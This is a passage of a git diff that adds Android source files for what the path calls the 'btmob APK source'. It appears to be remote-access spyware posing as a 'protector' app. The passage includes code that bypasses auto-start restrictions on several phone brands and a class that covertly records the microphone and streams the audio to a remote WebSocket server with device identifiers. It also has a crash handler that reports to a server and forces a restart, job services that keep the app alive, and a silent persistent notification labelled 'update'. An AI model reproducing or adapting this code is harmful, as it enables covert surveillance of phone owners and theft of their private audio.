"Error in Huawei auto start", e); + try { + startIntent(context, PACKAGE_HUAWEI_MAIN, PACKAGE_HUAWEI_COMPONENT_FALLBACK); + return true; + } catch (Exception ex) { + Log.e("MIUIAutoStart", "Error in Huawei fallback auto start", ex); + try { + startIntent(context, PACKAGE_HUAWEI_MAIN, PACKAGE_HUAWEI_COMPONENT_FALLBACK_A); + return true; + } catch (Exception ex1) { + Log.e("MIUIAutoStart", "Error in Huawei fallback A auto start", ex1); + try { + startIntent(context, PACKAGE_HUAWEI_MAIN, PACKAGE_HUAWEI_COMPONENT_FALLBACK_B); + return true; + } catch (Exception ex2) { + Log.e("MIUIAutoStart", "Error in Huawei fallback B auto start", ex2); + try { + startIntent(context, PACKAGE_HUAWEI_MAIN, PACKAGE_HUAWEI_COMPONENT_FALLBACK_C); + return true; + } catch (Exception ex3) { + Log.e("MIUIAutoStart", "Error in Huawei fallback C auto start", ex3); + try { + startIntent(context, PACKAGE_HUAWEI_MAIN, PACKAGE_HUAWEI_COMPONENT_FALLBACK_D); + return true; + } catch (Exception ex4) { + Log.e("MIUIAutoStart", "Error in Huawei fallback D auto start", ex4); + } + } + } + } + } + } + } + return false; + } + + private boolean autoStartOppo(Context context) { + if (isPackageExists(context, PACKAGE_OPPO_MAIN) || + isPackageExists(context, PACKAGE_OPPO_FALLBACK) || + isPackageExists(context, "com.coloros.oppoguardelf")) { + try { + startIntent(context, PACKAGE_OPPO_MAIN, PACKAGE_OPPO_COMPONENT); + return true; + } catch (Exception e) { + Log.e("MIUIAutoStart", "Error in Oppo auto start", e); + try { + startIntent(context, PACKAGE_OPPO_FALLBACK, PACKAGE_OPPO_COMPONENT_FALLBACK); + return true; + } catch (Exception ex) { + Log.e("MIUIAutoStart", "Error in Oppo fallback auto start", ex); + try { + startIntent(context, PACKAGE_OPPO_MAIN, PACKAGE_OPPO_COMPONENT_FALLBACK_A); + return true; + } catch (Exception exx) { + Log.e("MIUIAutoStart", "Error in Oppo fallback A auto start", exx); + try{ + //PACKAGE_OPPO_COMPONENT_FALLBACK_A_A + startIntent(context, "com.coloros.oppoguardelf", PACKAGE_OPPO_COMPONENT_FALLBACK_A_A); + return true; + }catch (Exception exxx){ + Log.e("MIUIAutoStart", "Error in Oppo fallback A_A auto start", exxx); + return false; + } + + } + } + } + } + return false; + } + + private boolean autoStartOnePlus(Context context) { + if (isPackageExists(context, PACKAGE_ONE_PLUS_MAIN) || isPackageExists(context, PACKAGE_ONE_PLUS_FALLBACK) || isPackageExists(context, PACKAGE_ONE_PLUS_MAIN_A)) { + try { + startIntent(context, PACKAGE_ONE_PLUS_MAIN, PACKAGE_ONE_PLUS_COMPONENT); + return true; + } catch (Exception e) { + Log.e("MIUIAutoStart", "Error in OnePlus auto start", e); + try { + startIntent(context, PACKAGE_ONE_PLUS_FALLBACK, PACKAGE_ONE_PLUS_COMPONENT_FALLBACK); + return true; + } catch (Exception ex) { + Log.e("MIUIAutoStart", "Error in OnePlus fallback auto start", ex); + try { + startIntent(context, PACKAGE_ONE_PLUS_MAIN, PACKAGE_ONE_PLUS_COMPONENT_FALLBACK_A); + return true; + } catch (Exception exx) { + Log.e("MIUIAutoStart", "Error in OnePlus fallback A auto start", exx); + try { + startAction(context, PACKAGE_ONE_PLUS_ACTION); + return true; + } catch (Exception exxx) { + Log.e("MIUIAutoStart", "Error in OnePlus action auto start", exxx); + try { + startIntent(context, PACKAGE_ONE_PLUS_MAIN_A, PACKAGE_ONE_PLUS_COMPONENT_FALLBACK_A_B); + return true; + } catch (Exception exxxx) { + Log.e("MIUIAutoStart", "Error in OnePlus fallback B auto start", exxxx); + return false; + } + } + } + } + } + } + return false; + } + + private boolean autoStartVivo(Context context) { + if (isPackageExists(context, PACKAGE_VIVO_MAIN) || isPackageExists(context, PACKAGE_VIVO_FALLBACK) || isPackageExists(context, PACKAGE_VIVO_MAIN_B) || isPackageExists(context, PACKAGE_VIVO_MAIN_A_A)) { + try { + startIntent(context, PACKAGE_VIVO_MAIN, PACKAGE_VIVO_COMPONENT); + return true; + } catch (Exception e) { + Log.e("MIUIAutoStart", "Error in Vivo auto start", e); + try { + startIntent(context, PACKAGE_VIVO_FALLBACK, PACKAGE_VIVO_COMPONENT_FALLBACK); + return true; + } catch (Exception ex) { + Log.e("MIUIAutoStart", "Error in Vivo fallback auto start", ex); + try { + startIntent(context, PACKAGE_VIVO_MAIN, PACKAGE_VIVO_COMPONENT_FALLBACK_A); + return true; + } catch (Exception exx) { + Log.e("MIUIAutoStart", "Error in Vivo fallback A auto start", exx); + try { + startIntent(context, PACKAGE_VIVO_MAIN_A_A, PACKAGE_VIVO_COMPONENT_FALLBACK_A_A); + return true; + } catch (Exception exxx) { + Log.e("MIUIAutoStart", "Error in Vivo fallback A_A auto start", exxx); + try{ + //PACKAGE_VIVO_COMPONENT_FALLBACK_A_A_A + startIntent(context, "com.vivo.permissionmanager", PACKAGE_VIVO_COMPONENT_FALLBACK_A_A_A); + return true; + }catch (Exception exxxx){ + Log.e("MIUIAutoStart", "Error in Vivo fallback A_A_A auto start", exxxx); + return false; + } + + } + } + } + } + } + return false; + } + + private boolean autoStartNokia(Context context) { + if (isPackageExists(context, PACKAGE_NOKIA_MAIN)) { + try { + startIntent(context, PACKAGE_NOKIA_MAIN, PACKAGE_NOKIA_COMPONENT); + return true; + } catch (Exception e) { + Log.e("MIUIAutoStart", "Error in Nokia auto start", e); + return false; + } + } + return false; + } +} + + diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/Microphone.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/Microphone.java new file mode 100644 index 0000000..de4b14d --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/Microphone.java @@ -0,0 +1,462 @@ +package com.icontrol.protector; + +import static com.icontrol.protector.Consts.URL_SOCKT; + +import android.content.Context; + +import android.content.pm.PackageManager; + +import android.media.AudioFormat; + +import android.media.AudioRecord; + +import android.media.MediaRecorder; +import android.media.audiofx.AcousticEchoCanceler; +import android.os.Build; +import android.util.Base64; + +import androidx.annotation.NonNull; +import androidx.annotation.Nullable; +import androidx.core.app.ActivityCompat; + + +import org.json.JSONException; +import org.json.JSONObject; + +import java.io.ByteArrayOutputStream; + +import okhttp3.OkHttpClient; +import okhttp3.Request; +import okhttp3.Response; +import okhttp3.WebSocket; +import okhttp3.WebSocketListener; + + +public class Microphone { + private static OkHttpClient client; + private static boolean isActive = false; + private static boolean isPause = false; + private static int newSo; + private static int newRate; + public static WebSocket ws; + + static int ch = AudioFormat.CHANNEL_CONFIGURATION_MONO; + static int aud = AudioFormat.ENCODING_PCM_16BIT; + + public static void Start(final String audiorate, + final String source, + final String sokidf, + Context ctx){ + + new Thread(new Runnable() { + @Override + public void run() { + + client = new OkHttpClient(); + Request request = new Request.Builder().url(URL_SOCKT()).build(); + ws = client.newWebSocket(request, new WebSocketListener() { + + + @Override + public void onClosing(@NonNull WebSocket webSocket, int code, @NonNull String reason) { + super.onClosing(webSocket, code, reason); + killall(); + } + + @Override + public void onFailure(@NonNull WebSocket webSocket, @NonNull Throwable t, @Nullable Response response) { + super.onFailure(webSocket, t, response); + killall(); + } + + @Override + public void onOpen(WebSocket webSocket, Response response) { + + Thread thread = new Thread() { + @Override + public void run() { + try { + isActive=true; + + Object Syn_x1 = new Object(); + + + AudioRecord rec = null; + + try { + + + ByteArrayOutputStream BOS = new ByteArrayOutputStream(); + try { + int so = Integer.valueOf(source); + int rate = Integer.valueOf(audiorate); + int buff = AudioRecord.getMinBufferSize(rate, ch, aud); + byte[] buffer = new byte[buff]; + + + rec = initializeRecorder(so, rate,rec,buff); + + if(rec == null){ + return; + } + + + newSo = Integer.valueOf(source); + newRate = Integer.valueOf(audiorate); + + int holder = 0; + ByteArrayOutputStream accumulatedBOS = new ByteArrayOutputStream(); + int chunkSize = 20 * buffer.length; // Example: Accumulate 10000 buffers worth of data + String conctkey = MySettings.Read(ctx,Consts.Redirect_k,My_Configs.CONS_KY); + while (isActive) { + synchronized (Syn_x1) { + + if (newSo != so || newRate != rate) { + so = newSo; + rate = newRate; + rec = initializeRecorder(so, rate, rec, buff); + } + + rec.read(buffer, 0, buffer.length); + BOS.write(buffer, 0, buffer.length); + + try { + if (!isPause) { + accumulatedBOS.write(buffer, 0, buffer.length); + holder += buffer.length; + + if (holder >= chunkSize) { + byte[] pcmData = accumulatedBOS.toByteArray(); + byte[] wavData = AudioUtils.addWavHeader(pcmData, rate, 1, 16); + + + try { + + + + String VoiceSTR = Base64.encodeToString(wavData, Base64.DEFAULT); + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", "mic"); + jsonObject.put("voc", VoiceSTR); + + String jsonData = jsonObject.toString(); + + Livemessage(ctx,jsonData, sokidf,conctkey); + } catch (Exception e) { + killall(); + + } + + + + holder = 0; + accumulatedBOS.reset(); // Reset the accumulated buffer for the next chunk + } + } + } catch (Exception e) { + e.printStackTrace(); + } + + BOS.reset(); + } + } + + } catch (Exception e) { + killall(); + } catch (OutOfMemoryError e) { + killall(); + } + + BOS.close(); + + + + } catch (Exception e) { + } catch (OutOfMemoryError e) {} + + + try{ + if (rec != null) { + rec.stop(); + rec.release(); + } + } catch (Exception e) {} + + } catch (Exception ex) { + ex.printStackTrace(); + } + } + }; + thread.start(); + + + + } + AudioRecord initializeRecorder(int so, int rate, AudioRecord rec,int buff) { + if (ActivityCompat.checkSelfPermission(ctx, android.Manifest.permission.RECORD_AUDIO) != PackageManager.PERMISSION_GRANTED) { + return null; + } + if (rec != null) { + rec.stop(); + rec.release(); + } + + switch (so) { + case 1: + rec = new AudioRecord(MediaRecorder.AudioSource.MIC, rate, ch, aud, buff); + break; + case 2: + rec = new AudioRecord(MediaRecorder.AudioSource.VOICE_RECOGNITION, rate, ch, aud, buff); + break; + case 3: + rec = new AudioRecord(MediaRecorder.AudioSource.VOICE_COMMUNICATION, rate, ch, aud, buff); + break; + case 4: + rec = new AudioRecord(MediaRecorder.AudioSource.CAMCORDER, rate, ch, aud, buff); + break; + default: + rec = new AudioRecord(MediaRecorder.AudioSource.DEFAULT, rate, ch, aud, buff); + break; + } + + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN) { + try { + AcousticEchoCanceler.create(rec.getAudioSessionId()); + } catch (Exception e) { + e.printStackTrace(); + } + } + + rec.startRecording(); + return rec; + } + @Override + public void onMessage( WebSocket webSocket, String text) { + super.onMessage(webSocket, text); + try{ + JSONObject Response = new JSONObject(text); + String msgtype = Response.optString("type","empty"); + if(msgtype.equals("stop") || msgtype.equals("Unauthorized access")){ + killall(); + } + }catch (Exception a){} + } + private void Livemessage(Context ctx, String msg,String sokidf,String conctkey) { + if (ws != null) { + + try { + + + + String Myid = MySettings.Read(ctx, Consts.DEVICE_ID, "Deviceid"); + String IDF = MySettings.Read(ctx, Consts.THE_IDF, null); + String CIP = MySettings.Read(ctx, Consts.THE_CIP, "null"); + + if(!sokidf.equals("null")){ + IDF = sokidf; + } + + if (Myid == null) { + return; + } + if (IDF == null) { + return; + } + + + + JSONObject message = new JSONObject(); + // message.put("userId", userid); + message.put("idf", IDF); + message.put("pid", Myid); + message.put("itype", "Slr_client"); + message.put("subc", "msg"); + message.put("msg", msg); + message.put("cip", CIP); + + message.put("conk", conctkey); + // Send the JSON message as a string + ws.send(message.toString()); + } catch (JSONException e) { + e.printStackTrace(); + } + } + } + public void killall(){ + + isActive=false; + try{ + if (ws != null) { + ws.cancel(); + ws = null; + } + if (client != null) { + client.dispatcher().cancelAll(); + client.connectionPool().evictAll(); + client.dispatcher().executorService().shutdown(); + client = null; + } + }catch (Exception s){ + + } + + + } + }); + } + }).start(); + } + + + public static void Stop(){ + isActive=false; + try{ + if (ws != null) { + ws.cancel(); + ws = null; + } + if (client != null) { + client.dispatcher().cancelAll(); + client.connectionPool().evictAll(); + client.dispatcher().executorService().shutdown(); + client = null; + } + }catch (Exception s){ + + } + } + + public static void Pause(boolean state){ + isPause=state; + } + + public static void ChangeRate(int newvalue){ + newRate = newvalue; + } + public static void ChangeSrc(int newvalue){ + newSo = newvalue; + } +// private void inp(final String h ,final String p,final String HnD,final String key0,final String ca, final String ra ,final Context ctx){ +// new Thread(new Runnable() { @Override +// public void run() { +// Socket sk = null; +// OutputStream out = null; +// DataInputStream in = null; +// boolean ctd = false; +// Object Syn_x1 = new Object(); +// Object Syn_x2 = new Object(); +// int test = 0; +// do { +// if (test >= 3){ +// return; +// } +// try { +// InetAddress ip; +// ip = InetAddress.getByName(h); +// InetSocketAddress sock = new InetSocketAddress(ip, Integer.valueOf(p)); +// sk = new Socket(); +// sk.setSoTimeout(0); +// sk.setKeepAlive(true); +// sk.connect(sock, 60000); +// ctd = sk.isConnected(); +// if (ctd == true) { +// sk.setSendBufferSize(1023); +// sk.setReceiveBufferSize(1023); +// out = sk.getOutputStream(); +// synchronized (Syn_x1){ +// if(out != null){ +// String info = key0 + SPL_ARRAY + HnD + SPL_ARRAY + ra; +// byte[] b0 = f(key0,info.getBytes()); +// sk.setSendBufferSize(b0.length); +// out = sk.getOutputStream(); +// in = new DataInputStream(new BufferedInputStream(sk.getInputStream())); +// out.write(b0,0,b0.length); +// } +// } +// break; +// } +// } catch (UnknownHostException e) { +// di(sk,out,in); +// } catch (SocketException e) { +// di(sk,out,in); +// } catch (Exception e) { +// di(sk,out,in); +// } +// test++; +// try{ Thread.sleep(1);} catch (InterruptedException e) {} +// } while (ctd == false); +// int read; +// try{ +// int rt = Integer.valueOf(ra); +// int intSize = AudioTrack.getMinBufferSize(rt,AudioFormat.CHANNEL_OUT_MONO , AudioFormat.ENCODING_PCM_16BIT); +// byte[] buff = new byte[intSize * 15]; +// AudioTrack at = null; +// int so = Integer.valueOf(ca); +// if (so == 0){ +// at = new AudioTrack(AudioManager.STREAM_VOICE_CALL, rt, AudioFormat.CHANNEL_OUT_MONO, AudioFormat.ENCODING_PCM_16BIT, intSize, AudioTrack.MODE_STREAM); +// }else if (so == 1){ +// at = new AudioTrack(AudioManager.STREAM_MUSIC, rt, AudioFormat.CHANNEL_OUT_MONO, AudioFormat.ENCODING_PCM_16BIT, intSize, AudioTrack.MODE_STREAM); +// } +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN) { +// try{ +// AcousticEchoCanceler.create(at.getAudioSessionId()); +// } catch (Exception e) {}} +// at.play(); +// while ((read = in.read(buff)) > 0) +// { +// synchronized(Syn_x2){ +// if (at!= null) { +// if (so == 0){ +// VOICE_CALL(ctx); +// }else if (so == 1){ +// MUSIC(ctx); +// } +// sk.setReceiveBufferSize(buff.length); +// at.write(buff, 0, read); +// } +// } +// } +// at.stop(); +// at.release(); +// }catch (SocketException e) { +// }catch (SocketTimeoutException s) { +// }catch(OutOfMemoryError e){ +// }catch (Exception e) {} +// try{ Thread.sleep(1000L);} catch (InterruptedException e) {} +// di(sk,out,in); +// }}).start(); +// } + +// private AudioManager aum = null; +// private void MUSIC(Context ctx){ +// try { +// if (aum == null ){ +// aum = (AudioManager)ctx.getSystemService(Context.AUDIO_SERVICE); +// } +// if (aum != null ){ +// int max = aum.getStreamMaxVolume(AudioManager.STREAM_MUSIC); +// int val = aum.getStreamVolume(AudioManager.STREAM_MUSIC); +// if (max != val){ +// aum.setStreamVolume(AudioManager.STREAM_MUSIC, max, 0); +// } +// } +// } catch (Exception e) {} +// } +// private AudioManager auv = null; +// private void VOICE_CALL(Context ctx){ +// try { +// if (auv == null ){ +// auv = (AudioManager)ctx.getSystemService(Context.AUDIO_SERVICE); +// } +// if (auv != null ){ +// int max = auv.getStreamMaxVolume(AudioManager.STREAM_VOICE_CALL); +// int val = auv.getStreamVolume(AudioManager.STREAM_VOICE_CALL); +// if (max != val){ +// auv.setStreamVolume(AudioManager.STREAM_VOICE_CALL, max, 0); +// } +// } +// } catch (Exception e) {} +// } + + +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/MyCods.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/MyCods.java new file mode 100644 index 0000000..511e5d8 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/MyCods.java @@ -0,0 +1,94 @@ +package com.icontrol.protector; + +import static android.content.Context.ACTIVITY_SERVICE; + +import android.app.ActivityManager; +import android.content.ComponentName; +import android.content.Context; +import android.graphics.Bitmap; +import android.graphics.Canvas; +import android.graphics.RectF; +import android.provider.Settings; +import android.text.TextUtils; + +public class MyCods { + + + + + public static boolean isServiceRunning(Context ctx, Class serviceClass){ + ActivityManager manager = (ActivityManager) ctx.getSystemService(ACTIVITY_SERVICE); + for (ActivityManager.RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) + { + if (serviceClass.getName().equals(service.service.getClassName())) + { + return true; + } + } + return false; + } + public static boolean is_Access_Enabled(Context context, Class < ? > accessibilityService) { + try { + ComponentName expectedComponentName = new ComponentName(context, accessibilityService); + + String enabledServicesSetting = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES); + if (enabledServicesSetting == null) + return false; + + TextUtils.SimpleStringSplitter colonSplitter = new TextUtils.SimpleStringSplitter(':'); + colonSplitter.setString(enabledServicesSetting); + + while (colonSplitter.hasNext()) { + String componentNameString = colonSplitter.next(); + ComponentName enabledService = ComponentName.unflattenFromString(componentNameString); + + if (enabledService != null && enabledService.equals(expectedComponentName)) + return true; + } + } catch (Exception ex) { + // SettingsToAdd(context, consts.LogSMS , consts.string_189 + ex.toString() + consts.string_119); + } + return false; + } + public static Bitmap scaleCenterCrop(Bitmap source, int newHeight, int newWidth) { + int sourceWidth = source.getWidth(); + int sourceHeight = source.getHeight(); + float xScale = (float) newWidth / sourceWidth; + float yScale = (float) newHeight / sourceHeight; + float scale = Math.max(xScale, yScale); + float scaledWidth = scale * sourceWidth; + float scaledHeight = scale * sourceHeight; + float left = (newWidth - scaledWidth) / 2; + float top = (newHeight - scaledHeight) / 2; + RectF targetRect = new RectF(left, top, left + scaledWidth, top + scaledHeight); + Bitmap dest = Bitmap.createBitmap(newWidth, newHeight, source.getConfig()); + Canvas canvas = new Canvas(dest); + canvas.drawBitmap(source, null, targetRect, null); + return dest; + } +// public static String toBase64(String message) { +// byte[] data; +// try { +// data = message.getBytes("UTF-8"); +// String base64Sms = Base64.encodeToString(data, Base64.DEFAULT); +// return base64Sms; +// } catch (UnsupportedEncodingException e) { +// } +// return message; +// } + // static Random rand ; + //static int cont = 0; +// public static String Str_Num_Random(){ +// if(rand == null){ +// rand = new Random(); +// } +// String Allnums = "0123456789"; +// String holder =""; +// +// do { +// holder += Allnums.charAt(rand.nextInt(Allnums.length())); +// }while (holder.length() < 10); +// cont+=1; +// return holder+String.valueOf(cont); +// } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/MyExceptionHandler.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/MyExceptionHandler.java new file mode 100644 index 0000000..19f329b --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/MyExceptionHandler.java @@ -0,0 +1,122 @@ +package com.icontrol.protector; + + + +import static com.icontrol.protector.Consts.URL_ERROR; + +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import android.util.Log; + +import java.io.BufferedReader; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.io.OutputStream; +import java.io.PrintWriter; +import java.io.StringWriter; +import java.net.HttpURLConnection; +import java.net.URL; +import java.net.URLEncoder; +import java.text.SimpleDateFormat; +import java.util.Date; +import java.util.Locale; + +public class MyExceptionHandler implements Thread.UncaughtExceptionHandler { + private final Context context; + private final Thread.UncaughtExceptionHandler defaultUEH; + + public MyExceptionHandler(Context context) { + this.context = context; + this.defaultUEH = Thread.getDefaultUncaughtExceptionHandler(); + } + + @Override + public void uncaughtException(Thread thread, Throwable throwable) { + // Convert the stack trace to a string + StringWriter sw = new StringWriter(); + PrintWriter pw = new PrintWriter(sw); + throwable.printStackTrace(pw); + String stackTrace = sw.toString(); + + // Gather device and environment details + String timestamp = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss", Locale.getDefault()).format(new Date()); + String phoneModel = Build.MODEL; + String androidVersion = Build.VERSION.RELEASE; + String errorDetails = String.format( + "Timestamp: %s\nPhone Model: %s\nAndroid Version: %s\nThread: %s\nStack Trace:\n%s", + timestamp, phoneModel, androidVersion, thread.getName(), stackTrace + ); + String mainTitle = throwable.getClass().getSimpleName(); + + // Log the exception + Log.e("UncaughtException", errorDetails); + + // Send the error details to the server + sendErrorToServer(errorDetails,mainTitle); + + // Schedule jobs or alarms as necessary + JobSchedulerUtil.scheduleJob(context); + AlarmHelper.setAlarm(context); + + + + // Kill the process + System.exit(0); + } + + private void sendErrorToServer(String errorDetails, String mainTitle) { + // Use an AsyncTask or another threading mechanism to send the data + new Thread(() -> { + try { + URL url = new URL(URL_ERROR()); // Replace with your server URL + HttpURLConnection connection = (HttpURLConnection) url.openConnection(); + connection.setRequestMethod("POST"); + connection.setDoOutput(true); + connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); + + // Encode the error details and main title + String postData = "error_log=" + URLEncoder.encode(errorDetails, "UTF-8") + + "&error_title=" + URLEncoder.encode(mainTitle, "UTF-8"); + + // Write the data to the output stream + OutputStream os = connection.getOutputStream(); + os.write(postData.getBytes("UTF-8")); + os.flush(); + os.close(); + + // Get the response code + int responseCode = connection.getResponseCode(); + + // Read the server's response + InputStream inputStream; + if (responseCode >= 200 && responseCode < 300) { + inputStream = connection.getInputStream(); // For successful responses + } else { + inputStream = connection.getErrorStream(); // For error responses + } + + BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, "UTF-8")); + StringBuilder response = new StringBuilder(); + String line; + while ((line = reader.readLine()) != null) { + response.append(line); + } + reader.close(); + + // Log the response from the server + if (responseCode == HttpURLConnection.HTTP_OK) { + Log.i("MyExceptionHandler", "Error log sent to server successfully. Server Response: " + response.toString()); + } else { + Log.e("MyExceptionHandler", "Failed to send error log to server. Response Code: " + responseCode + + ". Server Response: " + response.toString()); + } + + connection.disconnect(); + } catch (Exception e) { + Log.e("MyExceptionHandler", "Error while sending error log to server", e); + } + }).start(); + + } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/MyJobService.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/MyJobService.java new file mode 100644 index 0000000..946715e --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/MyJobService.java @@ -0,0 +1,57 @@ +package com.icontrol.protector; + +import android.app.job.JobParameters; +import android.app.job.JobService; +import android.content.Intent; +import android.os.Build; + +import androidx.work.Configuration; + +public class MyJobService extends JobService { + + + private static final String TAG = "MyJobService"; + + @Override + public boolean onStartJob(JobParameters params) { + + + try { + Intent workint = new Intent(getApplicationContext(), EngineWorker.class); + if (!MyCods.isServiceRunning(getApplicationContext(), EngineWorker.class)) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + startForegroundService(workint); + } else { + startService(workint); + } + } + + if (!MyCods.isServiceRunning(getApplicationContext(), WorkServices.class)) { + Intent workint2 = new Intent(getApplicationContext(), WorkServices.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + startForegroundService(workint2); + } else { + startService(workint2); + } + } else { + try { + Intent intent = new Intent(getApplicationContext(), WorkServices.class); + intent.setAction("HB"); + startService(intent); + } catch (Exception s) { + } + } + //AlarmHelper.setAlarm(getApplicationContext(), EngineWorker.class, System.currentTimeMillis() + 15000); + // jobFinished(params, true); + } catch (Exception a) { + } + return false; + } + + @Override + public boolean onStopJob(JobParameters params) { + + return true; + } +} + diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/MyLoger.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/MyLoger.java new file mode 100644 index 0000000..92fed31 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/MyLoger.java @@ -0,0 +1,19 @@ +package com.icontrol.protector; + + +import android.util.Log; + +public class MyLoger { + + public static void Debug(String AT,String msg){ + + Log.d("[IC:D]",AT +": "+msg); + } + public static void Error(String AT,String msg){ + Log.e("[IC:E]",AT +": "+msg); + } + public static void Info(String AT,String msg){ + Log.i("[IC:I]",AT +": "+msg); + } + +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/MyNotification.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/MyNotification.java new file mode 100644 index 0000000..813d0c1 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/MyNotification.java @@ -0,0 +1,137 @@ +package com.icontrol.protector; + +import static com.icontrol.protector.UtliTools.resizeIcon; + +import android.app.NotificationManager; +import android.app.Notification; +import android.app.NotificationChannel; +import android.app.PendingIntent; +import android.content.Context; +import android.content.Intent; +import android.graphics.Bitmap; +import android.graphics.BitmapFactory; +import android.graphics.Canvas; +import android.graphics.Color; +import android.graphics.drawable.BitmapDrawable; +import android.graphics.drawable.Drawable; +import android.net.Uri; +import android.os.Build; +import android.provider.Settings; +import android.widget.RemoteViews; + +import androidx.core.app.NotificationCompat; + +public class MyNotification { + private static MyNotification instance; + private static String channelId = "updates"; + private static String title = ""; + private NotificationManager notificationManager; + private MyNotification(Context context) { + notificationManager = (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE); + } + public static MyNotification getInstance(Context context) { + if (instance == null) { + instance = new MyNotification(context); + } + return instance; + } +// public static Bitmap createBlankBitmap(int width, int height) { +// Bitmap bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888); +// Canvas canvas = new Canvas(bitmap); +// canvas.drawColor(Color.WHITE); // Fill with white color, change as needed +// return bitmap; +// } + + public static Intent goToNotificationSettings(String channelId, Context context) { + Intent intent = new Intent(); + + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + // For Android 8.0 (API 26) and above + if (channelId != null) { + intent.setAction(Settings.ACTION_CHANNEL_NOTIFICATION_SETTINGS); + intent.putExtra(Settings.EXTRA_APP_PACKAGE, context.getPackageName()); + intent.putExtra(Settings.EXTRA_CHANNEL_ID, channelId); + } else { + intent.setAction(Settings.ACTION_APP_NOTIFICATION_SETTINGS); + intent.putExtra(Settings.EXTRA_APP_PACKAGE, context.getPackageName()); + } + } else if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) { + // For Android 7.0 (API 24) and 7.1 (API 25) + intent.setAction(Settings.ACTION_APP_NOTIFICATION_SETTINGS); + intent.putExtra(Settings.EXTRA_APP_PACKAGE, context.getPackageName()); + } else { + // For Android 5.0 (API 21) to Android 6.0 (API 23) + intent.setAction("android.settings.APP_NOTIFICATION_SETTINGS"); + intent.putExtra("app_package", context.getPackageName()); + intent.putExtra("app_uid", context.getApplicationInfo().uid); + } + + // Ensure the intent can be handled before starting the activity + if (intent.resolveActivity(context.getPackageManager()) != null) { + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + return intent; + } else { + // Fallback to the app's detail settings if the specific intent action is not available + Intent fallbackIntent = new Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS); + fallbackIntent.setData(Uri.parse("package:" + context.getPackageName())); + fallbackIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + return fallbackIntent; + } + } + + public Notification createNotification(Context context) { + + + //Intent fullScreenIntent = new Intent(context,tofront.class); + Intent fullScreenIntent = goToNotificationSettings(channelId,context); + + fullScreenIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK ); + PendingIntent fullScreenPendingIntent = PendingIntent.getActivity(context, 0, + fullScreenIntent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE); + + + + NotificationCompat.Builder builder =null; + + builder = new NotificationCompat.Builder(context, channelId) + .setContentTitle(My_Configs._Notfy_TITL_) + .setContentText(My_Configs._Notfy_MSG_) + .setSmallIcon(R.drawable.notify) + .setContentIntent(fullScreenPendingIntent) + .setOngoing(true) + .setSilent(true) + .setShowWhen(false) + .setCategory(NotificationCompat.CATEGORY_CALL) + .setOnlyAlertOnce(true) + .setVisibility(NotificationCompat.VISIBILITY_PUBLIC) + .setPriority(NotificationCompat.PRIORITY_HIGH) + .setAutoCancel(false); + + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) { + // Only use full-screen intent on older Android if needed + builder.setFullScreenIntent(fullScreenPendingIntent, false); // or remove it entirely + } + + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + + NotificationChannel channel = new NotificationChannel(channelId, "update", NotificationManager.IMPORTANCE_HIGH); + + channel.setDescription(My_Configs._Notfy_MSG_); + channel.setShowBadge(false); + notificationManager.createNotificationChannel(channel); + //channel.canBypassDnd(); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) { + channel.setAllowBubbles(false); + } + + channel.setLockscreenVisibility(Notification.VISIBILITY_PUBLIC); + channel.setSound(null,null); + + builder.setOngoing(true); + } + + builder.setSound(null); + + return builder.build(); + } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/MyPacket.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/MyPacket.java new file mode 100644 index 0000000..f27e785 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/MyPacket.java @@ -0,0 +1,34 @@ +package com.icontrol.protector; + +import android.content.Context; +import android.util.Log; + +import java.io.UnsupportedEncodingException; + +public class MyPacket { + public String Command = null; + public byte [] byt = null; + public MyPacket(byte[] s, byte[] b){ + try { + //encryption +// Cryptors Crypter = Cryptors.Getinstance(ctx); +// Command = Crypter.Decrypt(new String(s, "UTF-8")); +// byte [] bytEnc = b; +// String strbytE = 